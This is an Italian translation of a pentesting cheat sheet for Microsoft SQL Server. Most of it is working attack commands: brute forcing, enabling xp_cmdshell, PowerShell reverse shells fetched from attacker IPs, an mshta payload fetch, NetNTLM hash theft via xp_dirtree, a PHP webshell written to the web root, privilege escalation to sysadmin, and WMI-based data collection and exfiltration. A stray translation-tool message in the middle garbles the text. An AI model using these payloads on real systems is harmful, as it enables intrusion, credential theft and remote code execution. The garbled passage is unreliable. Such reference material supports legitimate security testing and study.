1433 - Pentesting MSSQL - Microsoft SQL Server

Reading time: 25 minutes

Informazioni di base

Da wikipedia:

Microsoft SQL Server è un sistema di gestione di database relazionale sviluppato da Microsoft. In quanto server di database, è un prodotto software la cui funzione primaria è memorizzare e recuperare i dati su richiesta di altre applicazioni software — che possono essere eseguite sullo stesso computer o su un altro computer attraverso una rete (inclusa Internet).

Porta predefinita: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Accesso a un Database-as-a-Service (DBaaS) gestito

Tutto ciò che dipende da "owning the host" (e.g., privilege escalation, lateral movement, and OS command execution) cessa di esistere in DBaaS. Pentesting in questi ambienti deve spostarsi verso application-layer exploitation, data exfiltration via SQL logic, misconfigured IAM roles, o una cattiva progettazione di network/VPC. Ad esempio, la Amazon RDS documentation dichiara esplicitamente che xp_cmdshell e la proprietà del database TRUSTWORTHY non sono supportate.

Tabelle di sistema MS-SQL predefinite

• master Database: Questo database è cruciale in quanto cattura tutti i dettagli a livello di sistema per un'istanza di SQL Server.
• msdb Database: SQL Server Agent utilizza questo database per gestire la schedulazione di alert e job.
• model Database: Funziona come blueprint per ogni nuovo database sull'istanza di SQL Server; qualsiasi modifica come size, collation, recovery model e altro viene replicata nei database appena creati.
• Resource Database: Un database in sola lettura che ospita gli oggetti di sistema forniti con SQL Server. Questi oggetti, pur essendo memorizzati fisicamente nel Resource database, sono presentati logicamente nello schema sys di ogni database.
• tempdb Database: Serve come area di storage temporanea per oggetti transitori o set di risultati intermedi.

Enumerazione

Automatic Enumeration

Se non sai nulla sul servizio:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

Enumerazione manuale

Login

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Enumerazione comune

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

Recupera utente

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Ottenere permessi

1. Securable: Definito come le risorse gestite da SQL Server per il controllo degli accessi. Queste sono categorizzate in:

• Server – Esempi includono database, login, endpoint, availability groups e server roles.
• Database – Esempi comprendono database role, application roles, schema, certificati, full text catalogs e utenti.
• Schema – Include tabelle, view, procedure, funzioni, synonym, ecc.

2. Permission: Associata ai securable di SQL Server, autorizzazioni come ALTER, CONTROL e CREATE possono essere concesse a un principal. La gestione delle autorizzazioni avviene a due livelli:

• Livello server usando login
• Livello database usando utenti

3. Principal: Questo termine si riferisce all'entità a cui viene concessa l'autorizzazione su un securable. I principal includono principalmente login e utenti del database. Il controllo dell'accesso ai securable si esercita concedendo o negando permessi o includendo login e utenti in ruoli dotati di diritti di accesso.

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Trucchi

Eseguire comandi del sistema operativo

Use master
EXEC sp_helprotect 'xp_cmdshell'

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

WMI-based remote SQL collection (sqlcmd + CSV export)

Gli operatori possono pivotare da un tier IIS/app verso SQL Servers usando WMI per eseguire un piccolo batch che si autentica a MSSQL ed esegue query ad‑hoc, esportando i risultati in CSV. Questo mantiene la raccolta semplice e si integra con l'attività amministrativa.

Esempio mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

Invocarlo da remoto con WMI

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

Alternativa a PowerShell

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

Note

• sqlcmd potrebbe non essere presente; usa in alternativa osql, PowerShell Invoke-Sqlcmd, o un one‑liner che utilizza System.Data.SqlClient.
• Usa le virgolette con attenzione; query lunghe/complesse sono più facili da fornire tramite un file o un argomento codificato in Base64 decodificato all'interno dello stub batch/PowerShell.
• Esfiltra il CSV via SMB (e.g., copia da \SQLHOST\C$\Windows\Temp) o comprimi e sposta tramite il tuo C2.

Ottieni password hashate

SELECT * FROM master.sys.syslogins;

Rubare l'hash NetNTLM / Relay attack

Dovresti avviare un SMB server per catturare l'hash usato nell'autenticazione (impacket-smbserver o responder, per esempio).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Utilizzando strumenti come responder o Inveigh è possibile rubare l'hash NetNTLM.
Puoi vedere come usare questi strumenti in:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Abuso dei trusted Links di MSSQL

Read this post per maggiori informazioni su come sfruttare questa funzionalità:

MSSQL AD Abuse

Scrivere file

Per scrivere file usando MSSQL, dobbiamo abilitare Ole Automation Procedures, il che richiede privilegi di amministratore, e poi eseguire alcune stored procedure per creare il file:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Leggere un file con OPENROWSET

Per impostazione predefinita, MSSQL consente la lettura di qualsiasi file nel sistema operativo a cui l'account ha accesso in lettura. Possiamo usare la seguente query SQL:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Tuttavia, l'opzione BULK richiede il permesso ADMINISTER BULK OPERATIONS oppure il permesso ADMINISTER DATABASE BULK OPERATIONS.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Vettore basato su errori per SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Lettura di file eseguendo script (Python and R)

MSSQL potrebbe permetterti di eseguire scripts in Python and/or R. Questo codice verrà eseguito da un utente diverso rispetto a quello che usa xp_cmdshell per eseguire comandi.

Esempio che tenta di eseguire un 'R' "Hellow World!" non funzionante:

Esempio che usa python configurato per eseguire diverse azioni:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Lettura del Registro

Microsoft SQL Server fornisce diverse stored procedure estese che ti permettono di interagire non solo con la rete ma anche con il file system e perfino con il Registro di Windows:

# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

Per ulteriori esempi consulta la fonte originale.

RCE con MSSQL User Defined Function - SQLHttp

È possibile caricare una dll .NET all'interno di MSSQL tramite funzioni personalizzate. Questo, tuttavia, richiede accesso dbo quindi è necessaria una connessione al database come sa o con ruolo Administrator.

Segui questo link per vedere un esempio.

RCE con autoadmin_task_agents

Secondo questo post, è anche possibile caricare una dll remota e far eseguire MSSQL con qualcosa del genere:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

You didn't include the README.md content. Please paste the file text you want translated and I will return the Italian translation while preserving markdown, links, tags and code.

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

Altri metodi per RCE

Esistono altri metodi per ottenere l'esecuzione di comandi, come aggiungere extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, e external scripts.

MSSQL Privilege Escalation

Da db_owner a sysadmin

Se a un utente normale viene assegnato il ruolo db_owner sul database di proprietà di un amministratore (come sa) e quel database è configurato come trustworthy, quell'utente può abusare di questi privilegi per privesc perché le stored procedures create lì possono eseguire come il proprietario (admin).

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

Puoi usare un modulo metasploit:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Oppure uno script PS:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Impersonazione di altri utenti

SQL Server ha un permesso speciale, chiamato IMPERSONATE, che consente all'utente che esegue di assumere i permessi di un altro utente o login fino a quando il contesto non viene ripristinato o la sessione termina.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

Puoi eseguire questo attacco con un modulo metasploit:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

o con uno script PS:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Uso di MSSQL per la persistenza

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Estrazione delle password da SQL Server Linked Servers

Un attacker può estrarre le password dei SQL Server Linked Servers dalle istanze SQL e ottenerle in chiaro, concedendo all'attaccante password che possono essere usate per acquisire una maggiore presenza sul target. Lo script per estrarre e decrittare le password memorizzate per i Linked Servers può essere trovato qui

Alcuni requisiti e configurazioni devono essere fatti affinché questo exploit funzioni. Prima di tutto, devi avere diritti di amministratore sulla macchina, oppure la possibilità di gestire le configurazioni di SQL Server.

Dopo aver validato i permessi, devi configurare tre cose, che sono le seguenti:

1. Abilitare TCP/IP sulle istanze di SQL Server;
2. Aggiungere un parametro di avvio, in questo caso verrà aggiunto un trace flag, che è -T7806.
3. Abilitare la remote admin connection.

Per automatizzare queste configurazioni, this repository ha gli script necessari. Oltre ad avere uno script powershell per ogni step della configurazione, il repository contiene anche uno script completo che combina gli script di configurazione e l'estrazione e decrittazione delle password.

Per ulteriori informazioni, fare riferimento ai seguenti link riguardanti questo attacco: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Local Privilege Escalation

L'utente che esegue il server MSSQL avrà abilitato il token di privilegio SeImpersonatePrivilege.
Probabilmente potrai ottenere privilegi di amministratore seguendo una di queste 2 pagine:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

• port:1433 !HTTP

Riferimenti

• Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd

• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users

• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/

• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/

• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/

• https://mayfly277.github.io/posts/GOADv2-pwning-part12/

• https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp

• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users

• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/

• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/

• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/

• https://mayfly277.github.io/posts/GOADv2-pwning-part12/

• https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp

Comandi automatici HackTricks

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'